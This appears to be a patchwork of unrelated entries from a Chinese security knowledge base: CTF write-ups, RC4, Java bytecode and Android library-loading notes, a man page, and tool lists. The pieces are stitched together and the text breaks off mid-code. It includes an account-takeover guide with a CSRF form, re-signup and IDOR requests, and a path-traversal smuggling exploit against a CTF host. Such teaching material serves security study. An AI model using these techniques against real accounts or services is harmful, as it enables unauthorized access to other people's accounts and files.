- [paazmaya/shuji](https://github.com/paazmaya/shuji) - Reverse engineering JavaScript and CSS sources from sourcemaps
```bash
npm install --global shuji
shuji file.js.map -o folder
```
- [reverse-sourcemap](https://www.npmjs.com/package/reverse-sourcemap) - Reverse engineering JavaScript and CSS sources from sourcemaps
```bash
npm install --global reverse-sourcemap
reverse-sourcemap -v xxx.js.map -o output
```
- [denandz/sourcemapper](https://github.com/denandz/sourcemapper) - Extract JavaScript source trees from Sourcemap files
---
## 验证码对抗
**相关文章**
- [谷歌验证码 ReCAPTCHA 的模拟点击破解方案来了!](https://mp.weixin.qq.com/s/vRkG_5s01tiDoMErp71QZw)
|
sec-knowleage
|
from library import *
if len(sys.argv) > 2:
n = int(sys.argv[2])
else:
n = None
i, o, t = load_npz(sys.argv[1], n)
t1 = t[0][261968:][:2000]
t2 = t[0][286991+57:][:2000]
show_traces([t1, t2])
|
sec-knowleage
|
package org.vulhub.impl;
import org.vulhub.api.CalcService;
public class CalcServiceImpl implements CalcService {
@Override
public Integer add(Integer a, Integer b) {
return a + b;
}
@Override
public Integer minus(Integer a, Integer b) {
return a - b;
}
}
|
sec-knowleage
|
## Serial (Reverse, 150p)
Run and capture the flag!
Download serial
###ENG
[PL](#pl-version)
We were given a binary, asking for a serial and telling us whether it's correct. Disassembling it gave a weird result -
for example:
```
0x00400a2c je 0x400a3c
0x00400a2e mov ax, 0x5eb
0x00400a32 xor eax, eax
0x00400a34 je 0x400a30
0x00400a36 call 0x424a24
0x00400a3b add byte [rdi], cl
0x00400a3d mov dh, 0x85
```
We can see jumps into the middle of instruction, which misaligned further disassembled code. Thankfully, debugger was
still working just fine. Stepping through the code we can see a number of checks being done on our input.
I decided to set registers manually to expected values whenever there was a `cmp` validating our input, which allowed me
to do the task in a single run. The checks were pretty basic - for example:
```
movzx eax, byte [rbp - 0x1ff]
movsx edx, al
movzx eax, byte [rbp - 0x1f2]
movsx eax, al
add eax, edx
cmp eax, 0x9b
```
This checked whether sum of two particular letters of our password are equal to 0x9B.
After collecting all the checks like this one, we manually
calculated every character. Typing it into the binary confirms it's correct, so we submitted it as a flag.
###PL version
Dostaliśmy binarkę proszącą o podanie hasła i odpowiadającej, czy jest ono poprawne. Deasemblacja niestety daje
dziwne rezultaty, na przykład:
```
0x00400a2c je 0x400a3c
0x00400a2e mov ax, 0x5eb
0x00400a32 xor eax, eax
0x00400a34 je 0x400a30
0x00400a36 call 0x424a24
0x00400a3b add byte [rdi], cl
0x00400a3d mov dh, 0x85
```
Widzimy nietypowe skoki w środek instrukcji, które powodują nieprawidłową deasemblację kodu. Na szczęście debugger
takiego problemu nie ma, wiec mogliśmy przejść instrukcja po instrukcji i obserwować jak nasze hasło jest sprawdzane.
Postanowiłem ręcznie ustawiać rejestry na oczekiwane wartości przed każdą instrukcją `cmp`, dzięki czemu wystarczyło
pojedyncze przejście przez binarkę. Na szczęście kod sprawdzający był dość prosty, na przykład:
```
movzx eax, byte [rbp - 0x1ff]
movsx edx, al
movzx eax, byte [rbp - 0x1f2]
movsx eax, al
add eax, edx
cmp eax, 0x9b
```
Ten fragment sprawdzał, czy suma pewnych dwóch znaków hasła jest równa 0x9B.
Po zebraniu wszystkich takich porównań, ręcznie ułożyliśmy hasło przechodzące je wszystkie. Binarka potwierdzała jego
poprawność, zatem wysłaliśmy je jako flagę.
|
sec-knowleage
|
import sys, string
def is_printable(s):
for c in s:
if c not in string.printable:
return False
return True
i = int(sys.argv[1], 0)
if len(sys.argv) > 2:
l = int(sys.argv[2], 0)
else:
l = 256
s = open("climate.bin", "rb").read()
i -= 0x2000
i += 0x12612
data = s[i:][:l]
print data.encode("hex")
print repr(data)
data = data.split("\x00")[0]
if is_printable(data):
print "\n\n"
print data
|
sec-knowleage
|
# Go through the hole
* Category: Web
* 400 Points
* Solved by the JCTF Team
## Description
> There is a rabbit hole that has a secret passage that leads to another world.
>
> Can you find this hidden path?
```go
func accessHandler(w http.ResponseWriter, r *http.Request) {
file := strings.Join(r.URL.Query()["file"], "")
filePath := "templates/access.html"
if file != "" {
requestedFile := filepath.Clean(file)
tmpPath := filepath.Join("/app/templates", requestedFile)
_, err := os.Open(tmpPath)
if err == nil {
filePath = tmpPath
} else {
log.Print(err)
}
}
var tpl = template.Must(template.ParseFiles(filePath))
tpl.Execute(w, nil)
}
```
## Solution
Manually searching for the vulnerability in the attached code is so 2021. Let's ask [ChatGPT](https://openai.com/blog/chatgpt/) what it is:
> There is a potential vulnerability in the code because the `filepath.Join()` function is used to construct the file path for the requested file, but this function does not validate the input file to ensure that it does not contain directory traversal sequences such as "`..`". This means that an attacker could potentially supply a file name that includes "`..`" in the query string, allowing them to access files outside of the `/app/templates` directory.
Nice. Let's try it:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Go_through_the_hole]
└─$ curl -i "https://go-through-the-hole.intent.ctf.today/?file=flag.txt"
HTTP/2 401
date: Fri, 16 Dec 2022 13:20:09 GMT
content-type: text/plain; charset=utf-8
content-length: 12
strict-transport-security: max-age=15724800; includeSubDomains
Unauthorized
```
That didn't work. In fact, nothing that had the "file=" parameter worked, and it looked like there's some WAF blocking requests before they arrive to `accessHandler`.
We looked for ways to bypass a WAF related to `Golang` and found [ParseThru](https://www.oxeye.io/blog/golang-parameter-smuggling-attack) - A method for exploiting HTTP parameter smuggling in Golang. The name of the challenge raised the confidence that this is the vulnerability in question.
> GoLang – or Go – uses the ‘net/url’ library to parse URLs and, prior to version 1.17, would consider semicolons in the query part of the URL as a valid delimiter. With version 1.17, however, semicolons are treated as an error, and one of the methods responsible for getting the parsed query string ignores the error returned.
>
> This means that when a Go-based public API built on version 1.17 or later communicates with an internal service running a prior version, specially crafted requests containing a semicolon in the query string could be smuggled through.
>
> ([Source](https://portswigger.net/daily-swig/parsethru-http-parameter-smuggling-flaw-uncovered-in-several-go-applications))
So, all we need to do is append a semicolon to the parameter to smuggle it in, right?
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Go_through_the_hole]
└─$ curl -i "https://go-through-the-hole.intent.ctf.today/?file=flag.txt;" -s | grep h2
<h2>Find the secret to enter the hole!</h2>
```
Unfortunately, this didn't work - the server ignored the parameter altogether. Some progress was made after trying to query the `/access` endpoint, based on `accessHandler`:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Go_through_the_hole]
└─$ curl -i "https://go-through-the-hole.intent.ctf.today/access?file=flag.txt;" -s | grep h2
<h2>Close, but not enough!</h2>
```
At this point, we were able to locate the flag file using the path traversal vulnerability we saw earlier:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Go_through_the_hole]
└─$ curl -i "https://go-through-the-hole.intent.ctf.today/access?file=../../flag.txt;" -s | grep h2
<h2>INTENT{g0_P4RseThru_sMugGl3_MTMzNw==}</h2>
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH TAC 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
tac \- 连接文件并逆序输出
.SH 概述
\fBtac\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
将文件列表中的每一个文件输出到标准输出,行号大的优先。
.PP
如果没有指定文件,或者指定文件为 "\-",则从标准输入读取。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-b\fP, \fB\-\-before\fP
将分隔符附加在行首而不是行尾
.TP
\fB\-r\fP, \fB\-\-regex\fP
将分隔符视为正则表达式
.TP
\fB\-s\fP, \fB\-\-separator\fP=\fI\,字符串\/\fP
以指定字符串作为分隔符而不是换行符
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Jay Lepreau 和 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBcat\fP(1), \fBrev\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/tac>
.br
或者在本地使用: info \(aq(coreutils) tac invocation\(aq
|
sec-knowleage
|
### RC4基本介绍
RSA 由 Ron Rivest 设计,最初隶属于 RSA 安全公司,是一个专利密码产品。它是面向字节的流密码,密钥长度可变,非常简单,但也很有效果。RC4 算法广泛应用于 SSL/TLS 协议和 WEP/WPA 协议。
### RC4基本流程
RC4 主要包含三个流程
- 初始化 S 和 T 数组。
- 初始化置换 S。
- 生成密钥流。
### RC4基本流程初始化 S 和 T 数组
初始化 S 和 T 的代码如下
```c
for i = 0 to 255 do
S[i] = i
T[i] = K[i mod keylen])
```
### RC4基本流程初始化置换 S
```c
j = 0
for i = 0 to 255 do
j = (j + S[i] + T[i]) (mod 256)
swap (S[i], S[j])
```
### RC4基本流程生成流密钥
```c
i = j = 0
for each message byte b
i = (i + 1) (mod 256)
j = (j + S[i]) (mod 256)
swap(S[i], S[j])
t = (S[i] + S[j]) (mod 256)
print S[t]
```
我们一般称前两部分为 KSA ,最后一部分是 PRGA。
|
sec-knowleage
|
# 字节码
---
Java 之所以可以“一次编译,到处运行”,一是因为 JVM 针对各种操作系统、平台都进行了定制,二是因为无论在什么平台,都可以编译生成固定格式的字节码(.class 文件)供 JVM 使用。
`.class` 文件是一组以 8 位字节为基础单位的二进制流,各个数据项严格按照顺序紧凑地排列在 `.class` 文件中,中间没有添加任何分隔符。整个 `.class` 文件本质上就是一张表。
---
## 字节码
### 什么是字节码
之所以被称之为字节码,是因为字节码文件由十六进制值组成,而 JVM 以两个十六进制值为一组,即以字节为单位进行读取。在 Java 中一般是用 javac 命令编译源代码为字节码文件,一个 `.java` 文件从编译到运行的示例如下图所示。
对于开发人员,了解字节码可以更准确、直观地理解 Java 语言中更深层次的东西,比如通过字节码,可以很直观地看到 Volatile 关键字如何在字节码上生效。另外,字节码增强技术在 Spring AOP、各种 ORM 框架、热部署中的应用屡见不鲜,深入理解其原理对于我们来说大有裨益。除此之外,由于 JVM 规范的存在,只要最终可以生成符合规范的字节码就可以在 JVM 上运行,因此这就给了各种运行在 JVM 上的语言(如 Scala、Groovy、Kotlin)一种契机,可以扩展 Java 所没有的特性或者实现各种语法糖。理解字节码后再学习这些语言,可以“逆流而上”,从字节码视角看它的设计思路,学习起来也“易如反掌”。
### 字节码结构
.java 文件通过 javac 编译后将得到一个.class 文件,如下:
编译后生成 .class 文件,打开后是一堆十六进制数,按字节为单位进行分割后展示如图右侧部分所示。
JVM 对于字节码是有规范要求的,那么看似杂乱的十六进制符合什么结构呢?
JVM 规范要求每一个字节码文件都要由十部分按照固定的顺序组成,整体结构如下所示。接下来我们将一一介绍这十部分:
#### 魔数(Magic Number)
每个 `.class` 文件的头 4 个字节称为 魔数(magic number),它的唯一作用是确定这个文件是否为一个能被虚拟机接收的 `.class` 文件。魔数的固定值为:`0xCAFEBABE`。
有趣的是,魔数的固定值是 Java 之父 James Gosling 制定的,为 CafeBabe(咖啡宝贝),而 Java 的图标为一杯咖啡。
#### 版本号(Version)
版本号为魔数之后的 4 个字节,前两个字节表示次版本号(Minor Version),后两个字节表示主版本号(Major Version)。
举例来说,如果版本号为:“00 00 00 34”。那么,次版本号转化为十进制为 0,主版本号转化为十进制为 52,在 Oracle 官网中查询序号 52 对应的主版本号为 1.8,所以编译该文件的 Java 版本号为 1.8.0。
#### 常量池(Constant Pool)
紧接着主版本号之后的字节为常量池入口。
常量池主要存放两类常量:
* 字面量 - 如文本字符串、声明为 final 的常量值。
* 符号引用
* 类和接口的全限定名
* 字段的名称和描述符
* 方法的名称和描述符
常量池整体上分为两部分:常量池计数器以及常量池数据区,如下图
* 常量池计数器(constant_pool_count) - 由于常量的数量不固定,所以需要先放置两个字节来表示常量池容量计数值。图中示例代码的字节码前 10 个字节如下图所示,将十六进制的 24 转化为十进制值为 36,排除掉下标“0”,也就是说,这个类文件中共有 35 个常量。
* 常量池数据区 - 数据区是由(constant_pool_count-1)个 cp_info 结构组成,一个 cp_info 结构对应一个常量。在字节码中共有 14 种类型的 cp_info,每种类型的结构都是固定的。
具体以 CONSTANT_utf8_info 为例。首先一个字节“tag”,它的值取自上图中对应项的 Tag,由于它的类型是 utf8_info,所以值为“01”。接下来两个字节标识该字符串的长度 Length,然后 Length 个字节为这个字符串具体的值。从字节码摘取一个 cp_info 结构,如下图所示。将它翻译过来后,其含义为:该常量类型为 utf8 字符串,长度为一字节,数据为“a”。
| 长度 | 名称 | 值 |
| - | - | - |
| 1字节 | tag | 01 表示 utf8 类型 |
| 2字节 | length | 该 utf8 字符串的长度 |
| length个字节 | bytes | length 个字节的具体数据 |
其他类型的 cp_info 结构不再赘述,整体结构大同小异,都是先通过 Tag 来标识类型,然后后续 n 个字节来描述长度和(或)数据。
先知其所以然,以后可以通过 javap -verbose xxx 命令,查看 JVM 反编译后的完整常量池,如下图所示。可以看到反编译结果将每一个 cp_info 结构的类型和值都很明确地呈现了出来。
#### 访问标志
紧接着的 2 个字节代表访问标志,这个标志用于识别一些类或者接口的访问信息,描述该 Class 是类还是接口,以及是否被 public、abstract、final 等修饰符修饰。
JVM 规范规定了如下图的访问标志(Access_Flag)。需要注意的是,JVM 并没有穷举所有的访问标志,而是使用按位或操作来进行描述的,比如某个类的修饰符为 Public Final,则对应的访问修饰符的值为 ACC_PUBLIC | ACC_FINAL,即 0x0001 | 0x0010=0x0011。
#### 当前类名
访问标志后的 2 个字节,描述的是当前类的全限定名。这两个字节保存的值为常量池中的索引值,根据索引值就能在常量池中找到这个类的全限定名。
#### 父类名称
当前类名后的 2 个字节,描述父类的全限定名,同上,保存的也是常量池中的索引值。
#### 接口信息
父类名称后为 2 字节的接口计数器,描述了该类或父类实现的接口数量。紧接着的 n 个字节是所有接口名称的字符串常量的索引值。
#### 字段表
字段表用于描述类和接口中声明的变量,包含类级别的变量以及实例变量,但是不包含方法内部声明的局部变量。字段表也分为两部分,第一部分为两个字节,描述字段个数;第二部分是每个字段的详细信息 fields_info。字段表结构如下图所示:
以字节码的字段表为例,如下图所示。其中字段的访问标志查图 9,0002 对应为 Private。通过索引下标在图 8 中常量池分别得到字段名为“a”,描述符为“I”(代表 int)。综上,就可以唯一确定出一个类中声明的变量 private int a。
#### 方法表
字段表结束后为方法表,方法表也是由两部分组成,第一部分为两个字节描述方法的个数;第二部分为每个方法的详细信息。方法的详细信息较为复杂,包括方法的访问标志、方法名、方法的描述符以及方法的属性,如下图所示:
方法名和方法的描述符都是常量池中的索引值,可以通过索引值在常量池中找到。而“方法的属性”这一部分较为复杂,直接借助 javap -verbose 将其反编译为人可以读懂的信息进行解读,如下图所示。可以看到属性中包括以下三个部分:
“Code 区”:源代码对应的 JVM 指令操作码,在进行字节码增强时重点操作的就是“Code 区”这一部分。
“LineNumberTable”:行号表,将 Code 区的操作码和源代码中的行号对应,Debug 时会起到作用(源代码走一行,需要走多少个 JVM 指令操作码)。
“LocalVariableTable”:本地变量表,包含 This 和局部变量,之所以可以在每一个方法内部都可以调用 This,是因为 JVM 将 This 作为每一个方法的第一个参数隐式进行传入。当然,这是针对非 Static 方法而言。
#### 附加属性表
字节码的最后一部分,该项存放了在该文件中类或接口所定义属性的基本信息。
### 字节码操作集合
在上图中,Code 区的红色编号 0 ~ 14,就是.java 中的方法源代码编译后让 JVM 真正执行的操作码。为了帮助人们理解,反编译后看到的是十六进制操作码所对应的助记符,十六进制值操作码与助记符的对应关系,以及每一个操作码的用处可以查看 Oracle 官方文档进行了解,在需要用到时进行查阅即可。
比如第一个助记符为 iconst_2,对应到字节码为 0x05,用处是将 int 值 2 压入操作数栈中。以此类推,对 0~17 的助记符理解后,就是完整的 `add()` 方法的实现。
### 操作数栈和字节码
JVM 的指令集是基于栈而不是寄存器,基于栈可以具备很好的跨平台性(因为寄存器指令集往往和硬件挂钩),但缺点在于,要完成同样的操作,基于栈的实现需要更多指令才能完成(因为栈只是一个 FILO 结构,需要频繁压栈出栈)。另外,由于栈是在内存实现的,而寄存器是在 CPU 的高速缓存区,相较而言,基于栈的速度要慢很多,这也是为了跨平台性而做出的牺牲。
上文所说的操作码或者操作集合,其实控制的就是这个 JVM 的操作数栈。
### 字节码工具
* Idea 插件 : [jclasslib](https://plugins.jetbrains.com/plugin/9248-jclasslib-bytecode-viewer)
代码编译后在菜单栏"View"中选择"Show Bytecode With jclasslib",可以很直观地看到当前字节码文件的类信息、常量池、方法区等信息。
---
## 字节码增强
### Asm
对于需要手动操纵字节码的需求,可以使用 Asm,它可以直接生产 .class字节码文件,也可以在类被加载入 JVM 之前动态修改类行为。
Asm 的应用场景有 AOP(Cglib 就是基于 Asm)、热部署、修改其他 jar 包中的类等。当然,涉及到如此底层的步骤,实现起来也比较麻烦。
Asm 有两类 API:核心 API 和树形 API
#### 核心 API
Asm Core API 可以类比解析 XML 文件中的 SAX 方式,不需要把这个类的整个结构读取进来,就可以用流式的方法来处理字节码文件。好处是非常节约内存,但是编程难度较大。然而出于性能考虑,一般情况下编程都使用 Core API。在 Core API 中有以下几个关键类:
* ClassReader:用于读取已经编译好的 .class 文件。
* ClassWriter:用于重新构建编译后的类,如修改类名、属性以及方法,也可以生成新的类的字节码文件。
* 各种 Visitor 类:如上所述,CoreAPI 根据字节码从上到下依次处理,对于字节码文件中不同的区域有不同的 Visitor,比如用于访问方法的 MethodVisitor、用于访问类变量的 FieldVisitor、用于访问注解的 AnnotationVisitor 等。为了实现 AOP,重点要使用的是 MethodVisitor。
#### #树形 API
Asm Tree API 可以类比解析 XML 文件中的 DOM 方式,把整个类的结构读取到内存中,缺点是消耗内存多,但是编程比较简单。TreeApi 不同于 CoreAPI,TreeAPI 通过各种 Node 类来映射字节码的各个区域,类比 DOM 节点,就可以很好地理解这种编程方式。
### Javassist
利用 Javassist 实现字节码增强时,可以无须关注字节码刻板的结构,其优点就在于编程简单。直接使用 java 编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构或者动态生成类。
其中最重要的是 ClassPool、CtClass、CtMethod、CtField 这四个类:
* `CtClass(compile-time class)` - 编译时类信息,它是一个 class 文件在代码中的抽象表现形式,可以通过一个类的全限定名来获取一个 CtClass 对象,用来表示这个类文件。
* `ClassPool` - 从开发视角来看,ClassPool 是一张保存 CtClass 信息的 HashTable,key 为类名,value 为类名对应的 CtClass 对象。当我们需要对某个类进行修改时,就是通过 pool.getCtClass("className")方法从 pool 中获取到相应的 CtClass。
* `CtMethod`、`CtField` - 这两个比较好理解,对应的是类中的方法和属性。
---
## Source & Reference
- https://dunwu.github.io/javacore/jvm/jvm-bytecode.html
|
sec-knowleage
|
# Account Takeover
## Introduction
Account Takeover (known as ATO) is a type of identity theft where a bad actor gains unauthorized access to an account belonging to someone else.
## How to exploit
1. Using OAuth Misconfiguration
- Victim has a account in evil.com
- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
- Attacker changed his/her email to victim email.
- When the victim try to create an account on evil.com, it says the email already exists.
2. Try re-sign up using same email
```
POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=1234
```
After sign up using victim email, try signup again but using different password
```
POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=hacked
```
3. via CSRF
- Create an account as an attacker and fill all the form, check your info in the Account Detail.
- Change the email and capture the request, then created a CSRF Exploit.
- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
```html
<html>
<body>
<form action="https://evil.com/user/change-email" method="POST">
<input type="hidden" value="victim@gmail.com"/>
<input type="submit" value="Submit Request">
</form>
</body>
</html>
```
4. Chaining with IDOR, for example
```
POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=500&password=heked123
```
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
5. No Rate Limit on 2FA
References:
- [Pre-Account Takeover using OAuth Misconfiguration](https://vijetareigns.medium.com/pre-account-takeover-using-oauth-misconfiguration-ebd32b80f3d3)
- [Account Takeover via CSRF](https://medium.com/bugbountywriteup/account-takeover-via-csrf-78add8c99526)
- [How re-signing up for an account lead to account takeover](https://zseano.medium.com/how-re-signing-up-for-an-account-lead-to-account-takeover-3a63a628fd9f)
|
sec-knowleage
|
### 区块链学习资源
#### Books
- 《以太坊技术详解与实战》-- 以太坊创始人、首席科学家 Vitalik Buterin 倾力推荐
- 待补充
#### papers
- 智能合约 [https://github.com/hzysvilla/Academic_Smart_Contract_Papers](https://github.com/hzysvilla/Academic_Smart_Contract_Papers)
- 区块链(包括智能合约)[https://github.com/jianyu-niu/blockchain_conference_paper](https://github.com/jianyu-niu/blockchain_conference_paper)
- 待补充
#### Security Tools
> 搬运自 [https://consensys.github.io/smart-contract-best-practices/security_tools/](https://consensys.github.io/smart-contract-best-practices/security_tools/)
#### Visualization
- [Solidity Visual Auditor](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor) - This extension contributes security centric syntax and semantic highlighting, a detailed class outline and advanced Solidity code insights to Visual Studio Code
- [Sūrya](https://github.com/ConsenSys/surya) - Utility tool for smart contract systems, offering a number of visual outputs and information about the contracts' structure. Also supports querying the function call graph.
- [Solgraph](https://github.com/raineorshine/solgraph) - Generates a DOT graph that visualizes function control flow of a Solidity contract and highlights potential security vulnerabilities.
- [EVM Lab](https://github.com/ethereum/evmlab) - Rich tool package to interact with the EVM. Includes a VM, Etherchain API, and a trace-viewer.
- [ethereum-graph-debugger](https://github.com/fergarrui/ethereum-graph-debugger) - A graphical EVM debugger. Displays the entire program control flow graph.
- [Piet](https://github.com/slockit/piet) - Web application helping understand smart contract architectures. Offers graphical representation and inspection of smart contracts as well as a markdown documentation generator.
#### Static and Dynamic Analysis
- [MythX](https://mythx.io) - MythX is a professional-grade cloud service that uses symbolic analysis and input fuzzing to [detect common security bugs](https://medium.com/consensys-diligence/detecting-the-top-4-critical-smart-contract-vulnerabilities-with-mythx-9c568d7db7a6) and [verify the correctness of smart contract code](https://medium.com/coinmonks/advanced-smart-contract-security-verification-in-remix-9630b43695e5). Using MythX requires an API key from [mythx.io](https://mythx.io).
- [Mythril](https://github.com/ConsenSys/mythril) - The Swiss army knife for smart contract security.
- [Slither](https://github.com/trailofbits/slither) - Static analysis framework with detectors for many common Solidity issues. It has taint and value tracking capabilities and is written in Python.
- [Contract-Library](https://contract-library.com) - Decompiler and security analysis tool for all deployed contracts.
- [Echidna](https://github.com/trailofbits/echidna) - The only available fuzzer for Ethereum software. Uses property testing to generate malicious inputs that break smart contracts.
- [Manticore](https://github.com/trailofbits/manticore) - Dynamic binary analysis tool with [EVM support](https://asciinema.org/a/haJU2cl0R0Q3jB9wd733LVosL).
- [Oyente](https://github.com/melonproject/oyente) - Analyze Ethereum code to find common vulnerabilities, based on this [paper](http://www.comp.nus.edu.sg/~loiluu/papers/oyente.pdf).
- [Securify](https://github.com/eth-sri/securify2) - Fully automated online static analyzer for smart contracts, providing a security report based on vulnerability patterns.
- [SmartCheck](https://tool.smartdec.net) - Static analysis of Solidity source code for security vulnerabilities and best practices.
- [Octopus](https://github.com/quoscient/octopus) - Security Analysis tool for Blockchain Smart Contracts with support of EVM and (e)WASM.
- [sFuzz](https://sfuzz.github.io/) - Efficient fuzzer inspired from AFL to find common vulnerabilities.
- [Vertigo](https://github.com/JoranHonig/vertigo) - Mutation Testing for Ethereum Smart Contracts.
#### Weakness OSSClassifcation & Test Cases
- [SWC-registry](https://github.com/SmartContractSecurity/SWC-registry/) - SWC definitions and a large repository of crafted and real-world samples of vulnerable smart contracts.
- [SWC Pages](https://smartcontractsecurity.github.io/SWC-registry/) - The SWC-registry repo published on Github Pages
#### Test Coverage
- [solidity-coverage](https://github.com/sc-forks/solidity-coverage) - Code coverage for Solidity testing.
#### Linters and Formatters
Linters improve code quality by enforcing rules for style and composition, making code easier to read and review.
- [Ethlint](https://github.com/duaraghav8/Ethlint) - Yet another Solidity linting.
- [Solhint](https://github.com/protofire/solhint) - A linter for Solidity that provides both Security and Style Guide validations.
- [Prettier](https://prettier.io/) + [Solidity Plugin](https://github.com/prettier-solidity/prettier-plugin-solidity) - Prettier enforces basic style conventions in your code.
|
sec-knowleage
|
# Ez web (web, 100p, 185 solved)
A very simple web challenge.
The site says it's under construction and there is not much there, but if we check `robots.txt` we can see:
```
User-agent: *
Disallow: /flag/
```
And in `flag` directory there is `flag.txt` but it says we're not allowed to see it.
However if we look at the network communication, there is a cookie `isAllowed` sent by the webpage, set to `false`.
If we set it to true we can see the flag: `hackover18{W3llD0n3,K1d.Th4tSh0tw4s1InAM1ll10n}`
|
sec-knowleage
|
### so 基本介绍
- 为什么会用到 Shared Object(SO)
- 开发效率
- 快速移植
- so 的版本
- 根据 CPU 平台有所不一样
### so 加载方法
- System.loadLibrary
- 如果加载的文件名是 xxx ,那么其实加载的是项目中 libs 目录下的 libxxx.so文件。
- System.load
- 对应 lib 的绝对路径。
主要使用第一种方式,第二种方式主要用于在插件中加载 so 文件。
### loadLibrary 加载流程
根据官方 API 介绍
> The call `System.loadLibrary(name)` is effectively equivalent to the call
>
> > ```
> > Runtime.getRuntime().loadLibrary(name)
> > ```
可以看出该函数其实调用的是 Runtime.java( `libcore/luni/src/main/java/java/lang/Runtime.java` )中的函数 loadLibrary,继而会继续调用 loadLibrary 另一个重载函数,它包含两个参数
- libame,我们传入的库名字
- VMStack.getCallingClassLoader(),类加载器 ClassLoader,方便于去寻找相应的 library。
```java
/**
* Loads and links the library with the specified name. The mapping of the
* specified library name to the full path for loading the library is
* implementation-dependent.
*
* @param libName
* the name of the library to load.
* @throws UnsatisfiedLinkError
* if the library can not be loaded.
*/
public void loadLibrary(String libName) {
loadLibrary(libName, VMStack.getCallingClassLoader());
}
/*
* Searches for a library, then loads and links it without security checks.
*/
void loadLibrary(String libraryName, ClassLoader loader) {
if (loader != null) {
String filename = loader.findLibrary(libraryName);
if (filename == null) {
throw new UnsatisfiedLinkError("Couldn't load " + libraryName +
" from loader " + loader +
": findLibrary returned null");
}
String error = doLoad(filename, loader);
if (error != null) {
throw new UnsatisfiedLinkError(error);
}
return;
}
String filename = System.mapLibraryName(libraryName);
List<String> candidates = new ArrayList<String>();
String lastError = null;
for (String directory : mLibPaths) {
String candidate = directory + filename;
candidates.add(candidate);
if (IoUtils.canOpenReadOnly(candidate)) {
String error = doLoad(candidate, loader);
if (error == null) {
return; // We successfully loaded the library. Job done.
}
lastError = error;
}
}
if (lastError != null) {
throw new UnsatisfiedLinkError(lastError);
}
throw new UnsatisfiedLinkError("Library " + libraryName + " not found; tried " + candidates);
}
```
可以看出,程序主要的功能正如注释所说
> Searches for a library, then loads and links it without security checks.
而其中所采用的加载函数是 doLoad 函数。在这里,我们先不继续分析,我们来看看 load 函数如何。
### load 加载流程
根据官方 API 说明,如下
> The call System.load(name) is effectively equivalent to the call:
>
> ```java
> Runtime.getRuntime().load(name)
> ```
其同样也是调用 Runtime.java 中的函数,如下
```java
/**
* Loads and links the dynamic library that is identified through the
* specified path. This method is similar to {@link #loadLibrary(String)},
* but it accepts a full path specification whereas {@code loadLibrary} just
* accepts the name of the library to load.
*
* @param pathName
* the absolute (platform dependent) path to the library to load.
* @throws UnsatisfiedLinkError
* if the library can not be loaded.
*/
public void load(String pathName) {
load(pathName, VMStack.getCallingClassLoader());
}
/*
* Loads and links the given library without security checks.
*/
void load(String pathName, ClassLoader loader) {
if (pathName == null) {
throw new NullPointerException("pathName == null");
}
String error = doLoad(pathName, loader);
if (error != null) {
throw new UnsatisfiedLinkError(error);
}
}
```
其同样也会调用load 的两个参数的重载函数,继而会调用doLoad函数。
**无论是上面的哪一种加载方法,最后都会调用Runtime.java中的doLoad函数。**
### so 核心加载流程doLoad
下面我们来分析一下 doLoad 函数,如下
```java
private String doLoad(String name, ClassLoader loader) {
// Android apps are forked from the zygote, so they can't have a custom LD_LIBRARY_PATH,
// which means that by default an app's shared library directory isn't on LD_LIBRARY_PATH.
// The PathClassLoader set up by frameworks/base knows the appropriate path, so we can load
// libraries with no dependencies just fine, but an app that has multiple libraries that
// depend on each other needed to load them in most-dependent-first order.
// We added API to Android's dynamic linker so we can update the library path used for
// the currently-running process. We pull the desired path out of the ClassLoader here
// and pass it to nativeLoad so that it can call the private dynamic linker API.
// We didn't just change frameworks/base to update the LD_LIBRARY_PATH once at the
// beginning because multiple apks can run in the same process and third party code can
// use its own BaseDexClassLoader.
// We didn't just add a dlopen_with_custom_LD_LIBRARY_PATH call because we wanted any
// dlopen(3) calls made from a .so's JNI_OnLoad to work too.
// So, find out what the native library search path is for the ClassLoader in question...
String ldLibraryPath = null;
if (loader != null && loader instanceof BaseDexClassLoader) {
ldLibraryPath = ((BaseDexClassLoader) loader).getLdLibraryPath();
}
// nativeLoad should be synchronized so there's only one LD_LIBRARY_PATH in use regardless
// of how many ClassLoaders are in the system, but dalvik doesn't support synchronized
// internal natives.
synchronized (this) {
return nativeLoad(name, loader, ldLibraryPath);
}
}
```
虽然源代码很长,但是很多部分都是注释,也说明了为什么要使用这样的一个函数的原因,主要有以下原因
- Android App 都是由 zygote fork 生成的,因此他们的 LD_LIBRARY_PATH 就是 zygote 的LD_LIBRARY_PATH,这也说明 apk 中的 so 文件不在这个路径下。
- so 文件之间可能存在相互依赖,我们需要按照其按依赖关系的逆方向进行加载。
函数的基本思想就是找到库文件的路径,然后使用 synchronized 方式调用了 nativeLoad 函数。
### so 核心加载流程nativeload
而 nativeload 函数其实就是一个原生层的函数
```java
